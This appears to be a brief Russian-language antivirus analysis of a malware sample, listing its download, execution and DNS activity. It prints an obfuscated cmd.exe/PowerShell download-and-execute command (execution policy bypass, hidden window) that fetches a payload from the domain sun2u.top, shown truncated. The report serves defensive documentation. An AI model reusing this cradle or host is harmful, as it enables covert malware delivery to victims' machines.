Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://sun2u.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POWE^RShElL^.E^Xe ^-EXECUTi^On^pOL^ic^Y^ b^ypaSS^ ^-N^O^prOF^il^e ^-w^INDOWSTyL^e ^h^iDdeN^ (NeW-OBJ^Ect^ SYs^tE^M.N^E^T.^w^eb^c^l^iE^Nt).D^O^W^nl^O^a^d^FIle('http://sun2u.top/s...
Сетевая активность
UDP
- DNS ASK su##u.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POWE^RShElL^.E^Xe ^-EXECUTi^On^pOL^ic^Y^ b^ypaSS^ ^-N^O^prOF^il^e ^-w^INDOWSTyL^e ^h^iDdeN^ (NeW-OBJ^Ect^ SYs^tE^M.N^E^T.^w^eb^c^l^iE^Nt).D^O^W^nl^O^a^d^FIle('http://sun2u.top/s...' (со скрытым окном)
